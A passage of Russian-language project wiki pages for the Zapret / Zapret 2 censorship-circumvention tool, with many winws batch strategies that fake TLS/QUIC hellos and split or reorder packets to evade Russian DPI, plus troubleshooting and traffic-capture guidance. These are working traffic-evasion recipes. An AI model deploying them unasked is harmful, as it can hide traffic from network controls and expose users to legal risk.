--dpi-desync-udplen-increment=10 --dpi-desync-udplen-pattern=0xDEADBEEF --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-65535 --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="list-discord.txt" --dpi-desync=fake,split --dpi-desync-autottl=2 --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-fake-tls="%BIN%tls_clienthello_www_google_com.bin" ``` general.bat ```bash @echo off chcp 65001 >nul :: 65001 - UTF-8 cd /d "%~dp0" set BIN=%~dp0bin\ start "zapret: general" /min "%BIN%winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-65535 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-udplen-increment=10 --dpi-desync-udplen-pattern=0xDEADBEEF --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-65535 --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=fake,split --dpi-desync-autottl=2 --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-fake-tls="%BIN%tls_clienthello_www_google_com.bin" ``` Я ошибся версия Zapret 10.1.0 вот ее качал и с ней работает ютуб и дс быстро на стратегии 06.01.2025 Интернет мтс ## YTDisBystro 3.1 ```embed title: "Сборка YTDisBystro на основе zapret для Windows: Обсуждение - NTC" image: "https://ntc.party/uploads/default/original/1X/c3dcc2e0e229cb0e06f291b5459ba086b1452779.png" description: "YTDisBystro v3.1 изменена стратегия для хостеров (YTDB_CFUNBAN) + добавлены 2 запасные изменена стратегия для ютуба без QUIC (возможно решит проблемы с качалками и смотрелками) изменена стратегия для большого блэклиста, майхостлиста и сднлиста, в них добавлены некоторые сайты ipset дискорда удален за ненадобностью отдельная стратегия для проблемных сайтов (можете туда попробовать что-нибудь свое добавить - вдруг поможет) в Инструкцию добавлен один важный подпункт (1.6) YTDisBystro_v3.1.zip (7..." url: "https://ntc.party/t/%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0-ytdisbystro-%D0%BD%D0%B0-%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%B5-zapret-%D0%B4%D0%BB%D1%8F-windows-%D0%BE%D0%B1%D1%81%D1%83%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5/13251/1746" favicon: "" aspectRatio: "100" ``` ```bash @echo off start "YTDisBystro 3.1 v1" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-tcp=443 --ipset="russia-youtube-rtmps.txt" --dpi-desync=syndata --dpi-desync-fake-syndata="tls_clienthello_7.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-udp=443 --hostlist="russia-youtubeQ.txt" --dpi-desync=fake,udplen --dpi-desync-udplen-increment=8 --dpi-desync-udplen-pattern=0x0F0F0E0F --dpi-desync-fake-quic="quic_6.bin" --dpi-desync-cutoff=n3 --dpi-desync-repeats=2 --dpi-desync-autottl --new ^ --filter-tcp=443 --hostlist-domains=googlevideo.com --hostlist="russia-youtube.txt" --dpi-desync=fake,multisplit --dpi-desync-split-pos=sld+1 --dpi-desync-fake-tls=0x0F0F0E0F --dpi-desync-fake-tls="tls_clienthello_14.bin" --dpi-desync-fake-tls-mod=rnd,dupsid --dpi-desync-fooling=md5sig --dpi-desync-autottl --dup=2 --dup-fooling=md5sig --dup-autottl --dup-cutoff=n3 --new ^ --filter-tcp=80 --hostlist="mycdnlist.txt" --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --dup=2 --dup-fooling=md5sig --dup-cutoff=n3 --new ^ --filter-tcp=443 --hostlist-domains=animego.online,doramy.club,animejoy.ru,getchu.com --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_15.bin" --new ^ --filter-tcp=443 --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --hostlist="mycdnlist.txt" --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_9.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-tcp=443 --ipset-exclude-ip=1.1.1.1, 1.0.0.1, 212.109.195.93, 83.220.169.155, 141.105.71.21 --ipset="cloudflare-ipset.txt" --dpi-desync=syndata,multisplit --dpi-desync-split-seqovl=1 --dpi-desync-fake-syndata="tls_clienthello_16.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-udp=50000-50090 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-autottl --dup=2 --dup-autottl --dup-cutoff=n3 --new ^ --filter-tcp=80 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=host+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,fakedsplit --dpi-desync-split-pos=1 --dpi-desync-fake-tls="tls_clienthello_9.bin" --dpi-desync-fooling=badseq --dpi-desync-autottl ``` ```bash @echo off start "YTDisBystro 3.1 v2" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-tcp=443 --ipset="russia-youtube-rtmps.txt" --dpi-desync=syndata --dpi-desync-fake-syndata="tls_clienthello_7.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-udp=443 --hostlist="russia-youtubeQ.txt" --dpi-desync=fake,ipfrag2 --dpi-desync-fake-quic="quic_5.bin" --dpi-desync-cutoff=n3 --dpi-desync-repeats=3 --new ^ --filter-tcp=443 --hostlist-domains=googlevideo.com --hostlist="russia-youtube.txt" --dpi-desync=fake,multisplit --dpi-desync-split-pos=sld+1 --dpi-desync-fake-tls=0x0F0F0E0F --dpi-desync-fake-tls="tls_clienthello_1.bin" --dpi-desync-fake-tls-mod=rnd,dupsid --dpi-desync-fooling=md5sig --dpi-desync-autottl --dup=2 --dup-fooling=md5sig --dup-autottl --dup-cutoff=n3 --new ^ --filter-tcp=80 --hostlist="mycdnlist.txt" --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --dup=2 --dup-fooling=md5sig --dup-cutoff=n3 --new ^ --filter-tcp=443 --hostlist-domains=animego.online,doramy.club,animejoy.ru,getchu.com --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_15.bin" --new ^ --filter-tcp=443 --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --hostlist="mycdnlist.txt" --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_9.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-tcp=443 --ipset-exclude-ip=1.1.1.1, 1.0.0.1, 212.109.195.93, 83.220.169.155, 141.105.71.21 --ipset="cloudflare-ipset.txt" --dpi-desync=fakedsplit --dpi-desync-split-pos=7 --dpi-desync-fakedsplit-pattern="tls_clienthello_5.bin" --dpi-desync-fooling=md5sig --dpi-desync-autottl --dup=2 --dup-fooling=md5sig --dup-autottl --dup-cutoff=n3 --new ^ --filter-udp=50000-50090 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-autottl --dup=2 --dup-autottl --dup-cutoff=n3 --new ^ --filter-tcp=80 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=host+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,fakedsplit --dpi-desync-split-pos=1 --dpi-desync-fake-tls="tls_clienthello_7.bin" --dpi-desync-fooling=badseq --dpi-desync-autottl ``` ```bash @echo off start "YTDisBystro 3.1 v3" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-tcp=443 --ipset="russia-youtube-rtmps.txt" --dpi-desync=syndata --dpi-desync-fake-syndata="tls_clienthello_7.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-udp=443 --hostlist="russia-youtubeQ.txt" --dpi-desync=fake,udplen --dpi-desync-udplen-increment=4 --dpi-desync-fake-quic="quic_4.bin" --dpi-desync-cutoff=n3 --dpi-desync-repeats=2 --new ^ --filter-tcp=443 --hostlist-domains=googlevideo.com --hostlist="russia-youtube.txt" --ipcache-hostname --dpi-desync=syndata,fake,multisplit --dpi-desync-split-pos=sld+1 --dpi-desync-fake-syndata="tls_clienthello_7.bin" --dpi-desync-fake-tls=0x0F0F0E0F --dpi-desync-fake-tls="tls_clienthello_9.bin" --dpi-desync-fake-tls-mod=rnd,dupsid --dpi-desync-fooling=md5sig --dpi-desync-autottl --dup=2 --dup-fooling=md5sig --dup-autottl --dup-cutoff=n3 --new ^ --filter-tcp=80 --hostlist="mycdnlist.txt" --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --dup=2 --dup-fooling=md5sig --dup-cutoff=n3 --new ^ --filter-tcp=443 --hostlist-domains=animego.online,doramy.club,animejoy.ru,getchu.com --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_15.bin" --new ^ --filter-tcp=443 --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --hostlist="mycdnlist.txt" --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_9.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-tcp=443 --ipset-exclude-ip=1.1.1.1, 1.0.0.1, 212.109.195.93, 83.220.169.155, 141.105.71.21 --ipset="cloudflare-ipset.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-seqovl=1 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-tls=0x0F0F0E0F --dpi-desync-fake-tls="tls_clienthello_9.bin" --dpi-desync-fake-tls-mod=rnd,dupsid --dpi-desync-fooling=md5sig --dpi-desync-autottl --dup=2 --dup-fooling=md5sig --dup-autottl --dup-cutoff=n3 --new ^ --filter-udp=50000-50090 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-autottl --dup=2 --dup-autottl --dup-cutoff=n3 --new ^ --filter-tcp=80 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=host+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,fakedsplit --dpi-desync-split-pos=1 --dpi-desync-fake-tls="tls_clienthello_9.bin" --dpi-desync-fooling=badseq --dpi-desync-autottl ``` ```bash @echo off start "YTDisBystro 3.1 v4" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-tcp=443 --ipset="russia-youtube-rtmps.txt" --dpi-desync=syndata --dpi-desync-fake-syndata="tls_clienthello_7.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-udp=443 --hostlist="russia-youtubeQ.txt" --dpi-desync=fake,udplen --dpi-desync-udplen-increment=8 --dpi-desync-udplen-pattern=0xFEA82025 --dpi-desync-fake-quic="quic_4.bin" --dpi-desync-cutoff=n4 --dpi-desync-repeats=2 --new ^ --filter-tcp=443 --hostlist-domains=googlevideo.com --hostlist="russia-youtube.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="tls_clienthello_4.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=calendar.google.com --dpi-desync-fooling=badseq --dpi-desync-autottl --new ^ --filter-tcp=80 --hostlist="mycdnlist.txt" --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --dup=2 --dup-fooling=md5sig --dup-cutoff=n3 --new ^ --filter-tcp=443 --hostlist-domains=animego.online,doramy.club,animejoy.ru,getchu.com --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_15.bin" --new ^ --filter-tcp=443 --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --hostlist="mycdnlist.txt" --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_9.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-tcp=443 --ipset-exclude-ip=1.1.1.1, 1.0.0.1, 212.109.195.93, 83.220.169.155, 141.105.71.21 --ipset="cloudflare-ipset.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-seqovl=1 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-tls=0x0F0F0E0F --dpi-desync-fake-tls="tls_clienthello_9.bin" --dpi-desync-fake-tls-mod=rnd,dupsid --dpi-desync-fooling=md5sig --dpi-desync-autottl --dup=2 --dup-fooling=md5sig --dup-autottl --dup-cutoff=n3 --new ^ --filter-udp=50000-50090 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-autottl --dup=2 --dup-autottl --dup-cutoff=n3 --new ^ --filter-tcp=80 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=host+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,fakedsplit --dpi-desync-split-pos=1 --dpi-desync-fake-tls="tls_clienthello_9.bin" --dpi-desync-fooling=badseq --dpi-desync-autottl ``` ```bash @echo off start "YTDisBystro 3.1 v5" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-tcp=443 --ipset="russia-youtube-rtmps.txt" --dpi-desync=syndata --dpi-desync-fake-syndata="tls_clienthello_7.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-udp=443 --hostlist="russia-youtubeQ.txt" --dpi-desync=fake,udplen --dpi-desync-udplen-increment=25 --dpi-desync-fake-quic="quic_5.bin" --dpi-desync-repeats=2 --dpi-desync-cutoff=n3 --new ^ --filter-tcp=443 --hostlist-domains=googlevideo.com --hostlist="russia-youtube.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="tls_clienthello_4.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=calendar.google.com --dpi-desync-fooling=badseq --dpi-desync-autottl --new ^ --filter-tcp=80 --hostlist="mycdnlist.txt" --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --dup=2 --dup-fooling=md5sig --dup-cutoff=n3 --new ^ --filter-tcp=443 --hostlist-domains=animego.online,doramy.club,animejoy.ru,getchu.com --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_15.bin" --new ^ --filter-tcp=443 --hostlist="russia-blacklist.txt" --hostlist="myhostlist.txt" --hostlist="mycdnlist.txt" --dpi-desync=multisplit --dpi-desync-split-seqovl=308 --dpi-desync-split-seqovl-pattern="tls_clienthello_9.bin" --dup=2 --dup-cutoff=n3 --new ^ --filter-tcp=443 --ipset-exclude-ip=1.1.1.1, 1.0.0.1, 212.109.195.93, 83.220.169.155, 141.105.71.21 --ipset="cloudflare-ipset.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-seqovl=1 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-tls=0x0F0F0E0F --dpi-desync-fake-tls="tls_clienthello_9.bin" --dpi-desync-fake-tls-mod=rnd,dupsid --dpi-desync-fooling=md5sig --dpi-desync-autottl --dup=2 --dup-fooling=md5sig --dup-autottl --dup-cutoff=n3 --new ^ --filter-udp=50000-50090 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-autottl --dup=2 --dup-autottl --dup-cutoff=n3 --new ^ --filter-tcp=80 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=host+1 --dpi-desync-fake-http=0x0F0F0F0F --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="other.txt" --hostlist-exclude="netrogat.txt" --dpi-desync=fake,fakedsplit --dpi-desync-split-pos=1 --dpi-desync-fake-tls="tls_clienthello_9.bin" --dpi-desync-fooling=badseq --dpi-desync-autottl ``` --- > [!info] Категория и профиль > Собранные здесь адреса ресурса (домены/IP) подключаются к **профилю** пресета через `--hostlist`/`--ipset`. Что такое профиль и из каких полей он состоит — см. [[profile]]. Вы можете собрать и [скинуть нам](https://git.zapret.moe/zapretdiscordyoutube/zapretgui/issues/new?template=hostlist_ipset_request.yml) полные айпи адреса и порта ресурсов чтобы мы их добавили в категории по умолчанию. Это не топик для сайтов по обходу GEO-ограничений! Правила 1. Скинуть всё в форме 1 сообщения 2. Все айпи / домены в форме txt файлов, которые принимает Запрет (субдомены учитываются, стоит их добавить если они есть) 3. Если это игра обязательно UDP порты и адреса для них (для tcp сайт и все домены + ещё раз айпи TCP) ## TCPView64.exe Позволяет обнаружить TCP трафик и диапозон UDP портов. Скачать его можно [здесь](https://download.sysinternals.com/files/TCPView.zip). TCPView64 **ВИДИТ** запросы которые даже **НЕ** были доставлены, они все равно отправляются и программа их захватывает. В отличии от Netlimiter которые показывает только удачные запросы и ответы на них. Поэтому рекомендуем воспользоваться для поиска TCP именно этой программой. Но архитектурно если TCP соединение не установилось, то UDP вообще не будет даже пытаться устанавливаться. Поэтому TCP надо пробивать отдельно (*отдельным фильтром Запрета*), а потом уже смотреть UDP. --- Для запрета нужны только Remote внутри вкладок TCPview. Local не участвуют в подключении и нужны только для определения UDP портов ![[Pasted image 20251220213701.png]] ## Wireshark Позволяет найти конкретные адреса которые подключатся к конкретному UDP порту. Скачать его можно [здесь](https://www.wireshark.org/download.html). ## Браузерное расширение (для сайтов) Если ресурс — сайт, а не игра, домены и IP-адреса страницы удобнее снимать не TCPView, а браузерным расширением: оно показывает все домены открытой вкладки, их IP и владельца сети (CDN). Пошагово — в [[find-domain-owner|Как узнать, какому CDN принадлежит домен]]. --- --- tags: link: aliases: img: --- ## Ошибки при установке Эта ошибка не страшная, можете нажать `Пропустить этот файл`, он не меняется из версии в версию: ![[Pasted image 20251220221942.png]] ## Ошибки при установлении соединения Ошибка `ERR_CONNECTION_TIMED_OUT` при установке соединения с сайтом означает что ТСПУ блокирует выбранную стратегию. Вам нужно сменить её в Zapret 2 GUI, тогда сайт заработает. ![[Pasted image 20251220222911.png]] Ошибка: ``` Возможно, сайт не существует или ваше устройство использует неверный или неисправный DNS-сервер. Что я могу сделать? Проверьте: Нет ли опечатки в имени сайта; Настройки DNS; Подключение к VPN или прокси-серверу, если вы их используете. Если ошибка повторяется и вы уверены, что сайт существует, обратитесь к вашему интернет-провайдеру или администратору сети. ``` Означает что сломан DNS-сервер. Вам нужно сменить DNS через программу Zapret 2 GUI, например на Google DNS, или Dns.SB. ![[hosts|Ошибки GEO-ограничений]] --- --- aliases: - hosts --- --- Zapret GUI по умолчанию работает в режиме белого списка (через него пропускается всё, что явно указано - всё остальное напрямую). Иногда какой-то иностранный ресурс, который НЕ заблокирован попадает под работу Запрета, в результате чего он или работает медленно или вообще не открывается. Чёрный хостлист с помощью файла `netrogat2.txt` позволяет явно задать сайты которые НИКОГДА не должны работать через Zapret (при этом у каждого пользователя свой хостлист который он может настраивать в соответствующей вкладке `Netrogat`). По умолчанию хостлист пуст. - управление происходит через отдельную вкладку рядом с hostlist и ipset - справа можно внести свои домены в список - слева указаны базовые домены - сам файл netrogat.txt создаётся пустым и он заполняется безовыми значениями + тем что ввел пользователь (как во вкладке Hostlist) - логика должна быть реализована в отдельном файле --- --- tags: link: aliases: img: --- [[home|На главную]] ## Консольные версии (без GUI, Win7) Специальная консольная версия с bat файлами стратегий для Windows 7+. Не поддерживается Python GUI. Перед каждой сменой стратегии (`bat`) файла следует ВРУЧНУЮ закрыть все предыдущие окна программы и открыть новое окно. При любых проблемах запустите `stop.bat` файл, чтобы остановить программу. При любых ошибках следует использовать релизную GUI версию как более стабильную. Автозапуск поддерживается только вручную (через добавление в реестр или папку `Start Menu`) ## Zapret 2 Доступно здесь — https://git.zapret.moe/zapretdiscordyoutube/zapret2-youtube-discord ## Zapret 1 Скачать файл можно [тут](https://t.me/bypassblock/666) или по [ссылке](https://git.zapret.moe/zapretdiscordyoutube/zapretgui/releases/tag/win7). ![[Pasted image 20251220221441.png]] --- --- date: 2026-07-17 tags: - zapret - zapret2 - nfqws2 - dpi - overview link: https://github.com/bol-van/zapret2/blob/master/docs/manual.md aliases: - Zapret 2 - nfqws2 - Что такое Zapret 2 img: --- # Что такое Zapret 2 (*nfqws2*)? > [!quote] Определение автора (bol-van) > zapret2 является пакетным манипулятором, основная задача которого — совершение различных автономных атак на DPI в реальном времени с целью преодоления ограничений (блокировок) ресурсов или сетевых протоколов. Однако этим возможности zapret2 не ограничиваются. Архитектура позволяет выполнять и другие виды пакетных манипуляций. Например, двусторонняя (клиент+сервер) обфускация протоколов с целью их сокрытия от DPI. Возможны и иные применения. **[[home|Zapret 2]]** (`nfqws2` на Linux, `winws2` на Windows) — авторства [bol-van](https://github.com/bol-van/zapret2). Автор сознательно называет его не «обходчиком блокировок», а **пакетным манипулятором**: обход DPI — лишь самое известное, но не единственное его применение. Разберём определение по частям — так становится понятно, что это за инструмент на самом деле. **«Пакетный манипулятор».** В основе лежит не «магия обхода», а универсальная способность: перехватывать сетевые пакеты на лету и как угодно их изменять, подменять, разрезать, дублировать, отправлять свои собственные. Всё остальное — надстройки над этим. Поэтому zapret2 не привязан к какой-то одной блокировке или протоколу: он умеет работать с трафиком вообще. **«Автономные атаки на DPI в реальном времени».** DPI *(Deep Packet Inspection, системы глубокого анализа трафика)* — оборудование, которое читает содержимое пакетов и по сигнатурам (домен в SNI у TLS, `Host:` у HTTP) решает, пропустить соединение или заблокировать. В России это **ТСПУ** *(технические средства противодействия угрозам)*. «Атака» здесь — не взлом DPI, а приёмы [[desync|дурения]] (desync): пакеты формируются так, что DPI собирает из потока искажённую или неполную картину и не находит сигнатуру, тогда как сервер-получатель по правилам TCP/IP восстанавливает всё корректно. «Автономные» — потому что zapret2 работает сам, на стороне клиента, не требуя ни сервера-посредника, ни изменений в приложении: не VPN и не прокси. «В реальном времени» — решение по каждому пакету принимается прямо в момент его прохождения. **«Преодоление ограничений ресурсов или сетевых протоколов».** Цель — не только разблокировать конкретный сайт, но и снять ограничения на уровне целых протоколов (например, когда DPI душит или рвёт QUIC, WireGuard, соединения мессенджеров по их сигнатуре, а не по адресу). **«Возможности не ограничиваются обходом».** Ключевая мысль автора: та же архитектура пакетного манипулятора годится и для другого. Как пример bol-van называет **двустороннюю (клиент + сервер) обфускацию протоколов** — маскировку трафика так, чтобы DPI вообще не распознал, что за протокол идёт (в отличие от обхода, где протокол виден, но анализ сбивается). Возможны и иные применения — определение намеренно оставляет их открытыми. > [!note] Проще говоря > Zapret 2 — это инструмент, который сидит между вашим приложением и сетью и на ходу переделывает уходящие/приходящие пакеты. Чаще всего его используют, чтобы запутать цензурный DPI и открыть заблокированный сайт. Но по сути это конструктор для манипуляций пакетами, и обход блокировок — только одна из задач, которые он умеет решать. Технически программа перехватывает сетевые пакеты и модифицирует их так, чтобы DPI не смог их правильно проанализировать, но сервер-получатель понял всё корректно. Официальная документация — [docs/manual.md в репозитории автора](https://github.com/bol-van/zapret2/blob/master/docs/manual.md). ## Чем Zapret2 лучше обычного Zapret (*winws, nfqws*)? В старом Zapret все методы обхода блокировок зашиты прямо в код на языке C. Программа делает ровно то, что в неё заложил разработчик при сборке. Хочешь что-то изменить — разбирайся в исходниках, правь C-код, компилируй заново. Для большинства пользователей это невозможно, поэтому при каждом обновлении ТСПУ приходится просто ждать, когда автор выпустит новую версию с исправлениями. В Zapret 2 архитектуру разделили на две части. Ядро на C осталось — оно отвечает за перехват и отправку пакетов, и работает так же быстро, как раньше. А вот вся логика обмана DPI вынесена в отдельные скрипты на языке Lua. Это обычные текстовые файлы с инструкциями: как подменять пакет, как его разрезать, как запутать анализатор. Их можно открыть в любом редакторе, подправить пару строк или полностью заменить на чужой скрипт — и всё заработает без перекомпиляции программы. На практике это меняет всё. Роскомнадзор обновил ТСПУ и старый трюк сломался — достаточно поправить скрипт и проверить, не дожидаясь нового релиза. Кто-то нашёл рабочий способ обхода — он оформляет его как Lua-файл и делится с сообществом, а остальные просто кидают его в папку. Плюс в комплекте уже идёт библиотека готовых скриптов для работы с TLS, QUIC и HTTP, которые можно свободно комбинировать между собой. Дополнительно наш GUI делает точно также с [[preset|пресетами]] - чтобы быстро обмениваться ими между сообществом и люди сами находили способы решения полностью автономно и могли делиться ими с другими (*даже если вдруг с автором что-то случится*) без перелопатывания исходного lua-кода. Наш Zapret 2 GUI решает главную проблему любого большого инструмента обхода цензуры — [фактора автобуса](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%BA%D1%82%D0%BE%D1%80_%D0%B0%D0%B2%D1%82%D0%BE%D0%B1%D1%83%D1%81%D0%B0). По сути старый Zapret — это заводской инструмент, который делает только то, что в него заложили на этапе сборки. Zapret 2 — конструктор, где способы обхода можно собирать, менять и подстраивать под любые изменения блокировок прямо на ходу. ## ![[windows-logo.png|25]] [[download|Установка на Windows]] | [[router|Установка на роутеры]] | [[android|Установка на Android]] Начните изучать в следующем направлении (от самого большого объекта к меньшему): - [[preset|Пресеты]] -> [[profile|Профили (что настраивать внутри пресета)]] Подробнее прочитайте про стратегии и другие "понятия" Запрета 2: - [[структура проекта]] - [[схема обработки трафика]] - [[структура desync и диссекта]] - [[жизненный цикл desync-функции]] - [[основные флаги]] - [[wf]] - [[filter]] - [[exclusions]] - [[out-range]] - [[payload]] - [[desync]] - [[blob]] Некоторые интересные факты: [[последовательность аргументов]] [[распознавание mtproto]] [[roadmap обучения]] [[zapret2_start_cutoff]] Как работает Запрет 2: ![[manual]] ## Техники [[desync|дурения]] (стратегии) [[syndata]] [[fake]] [[multisplit]] [[multidisorder]] ```bash start "zapret: http,https,quic" /min "%~dp0winws2.exe" ^ --wf-tcp-out=80,443 ^ --lua-init=@"%~dp0lua\zapret-lib.lua" --lua-init=@"%~dp0lua\zapret-antidpi.lua" ^ --lua-init="fake_default_tls = tls_mod(fake_default_tls,'rnd,rndsni')" ^ --blob=quic_google:@"%~dp0files\quic_initial_www_google_com.bin" ^ --wf-raw-part=@"%~dp0windivert.filter\windivert_part.discord_media.txt" ^ --wf-raw-part=@"%~dp0windivert.filter\windivert_part.stun.txt" ^ --wf-raw-part=@"%~dp0windivert.filter\windivert_part.wireguard.txt" ^ --wf-raw-part=@"%~dp0windivert.filter\windivert_part.quic_initial_ietf.txt" ^ --filter-tcp=80 --filter-l7=http ^ --out-range=-d10 ^ --payload=http_req ^ --lua-desync=fake:blob=fake_default_http:ip_autottl=-2,3-20:ip6_autottl=-2,3-20:tcp_md5 ^ --lua-desync=fakedsplit:ip_autottl=-2,3-20:ip6_autottl=-2,3-20:tcp_md5 ^ --new ^ --filter-tcp=443 --filter-l7=tls --hostlist="%~dp0files\list-youtube.txt" ^ --out-range=-d10 ^ --payload=tls_client_hello ^ --lua-desync=fake:blob=fake_default_tls:tcp_md5:repeats=11:tls_mod=rnd,dupsid,sni=www.google.com ^ --lua-desync=multidisorder:pos=1,midsld ^ --new ^ --filter-tcp=443 --filter-l7=tls ^ --out-range=-d10 ^ --payload=tls_client_hello ^ --lua-desync=fake:blob=fake_default_tls:tcp_md5:tcp_seq=-10000:repeats=6 ^ --lua-desync=multidisorder:pos=midsld ^ --new ^ --filter-udp=443 --filter-l7=quic --hostlist="%~dp0files\list-youtube.txt" ^ --out-range=-d10 ^ --payload=quic_initial ^ --lua-desync=fake:blob=quic_google:repeats=11 ^ --new ^ --filter-udp=443 --filter-l7=quic ^ --out-range=-d10 ^ --payload=quic_initial ^ --lua-desync=fake:blob=fake_default_quic:repeats=11 ^ --new ^ --filter-l7=wireguard,stun,discord ^ --out-range=-d10 ^ --payload=wireguard_initiation,wireguard_cookie,stun_binding_req,discord_ip_discovery ^ --lua-desync=fake:blob=0x00000000000000000000000000000000:repeats=2 ``` 🎉 Да! 